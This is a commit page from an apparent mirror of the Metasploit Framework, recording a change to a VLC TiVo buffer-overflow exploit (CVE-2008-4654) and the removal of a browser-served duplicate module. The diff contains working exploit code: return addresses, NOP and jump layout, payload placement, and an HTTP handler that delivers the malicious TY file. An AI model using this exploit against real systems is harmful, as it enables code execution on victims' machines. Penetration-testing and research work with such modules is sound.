infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

remove half-browser half-fileformat /misc/ version, but preserve differences in comments in fileformat version 

git-svn-id: file:///home/svn/framework3/trunk@11701 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2011-02-02 21:47:02 +00:00
parent 758da50090
commit acf9b2088d
2 changed files with 7 additions and 97 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
modules/exploits/windows/fileformat/videolan_tivo.rb
View File

@ -36,7 +36,6 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
@ -47,6 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
# From /misc/ version
#[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
#[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
],
@ -70,6 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote
ty << "\x00" * 4
ty << "\x00\x00\x05\x49"
ty << "\x00" * 60
# From /misc/ version
#ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
#ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
#ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
ty << "\x05"

96
modules/exploits/windows/misc/videolan_tivo.rb
View File

@ -1,96 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
By creating a malicious TY file, a remote attacker could overflow a
buffer and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-4654' ],
[ 'OSVDB', '49181' ],
[ 'BID', '31813' ],
],
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 22 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
ty = "\xF5\x46\x7A\xBD"
ty << "\x00\x00\x00\x02"
ty << "\x00\x02\x00\x00"
ty << "\x00\x00\x00\x00"
ty << "\x00\x00\x00\x00"
ty << "\x00\x00\x05\x41"
ty << "\x00\x00\x00\x00"
ty << "\x00\x00\x05\x49"
ty << "\x00" * 60
ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
ty << "\x05"
ty << "\x00\x00\x00"
ty << "\x05"
ty << "\x00"
ty << "\x09"
ty << "\xc0"
ty << "\x00" * 14
ty << "\x06"
ty << "\xe0"
ty << "\x00" * 302004
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })
handler(cli)
end
end